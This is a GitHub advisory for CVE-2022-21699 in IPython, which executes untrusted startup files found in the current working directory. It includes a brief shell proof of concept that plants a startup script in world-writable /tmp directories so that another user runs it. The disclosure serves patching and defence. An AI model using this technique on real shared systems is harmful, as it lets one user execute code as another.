GitHub Advisoryadvisory · PyPI

GHSA-pq7m-3gw7-gq5x Execution with Unnecessary Privileges in ipython

HIGH Published 2022-01-21 Modified 2024-09-27 Official page ↗
Aliases
CVE-2022-21699
Ecosystem
PyPI
Packages
ipython
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Weaknesses
CWE-250, CWE-269, CWE-279
Reviewed
2022-01-19

Affected packages

• PyPI ipython: < 5.11 → fixed in 5.11 • PyPI ipython: >= 6.0.0, < 7.16.3 → fixed in 7.16.3 • PyPI ipython: >= 7.17.0, < 7.31.1 → fixed in 7.31.1 • PyPI ipython: >= 8.0.0, < 8.0.1 → fixed in 8.0.1

Description

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ``` User2: ``` cd /tmp ipython ``` User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ``` Patched release and documentation See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Related

Alias · CVE (1)

  • CVE-2022-21699 IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the… vulnerability

Weakness · CWE (3)

  • CWE-250 Execution with Unnecessary Privileges weakness
  • CWE-269 Improper Privilege Management weakness
  • CWE-279 Incorrect Execution-Assigned Permissions weakness

References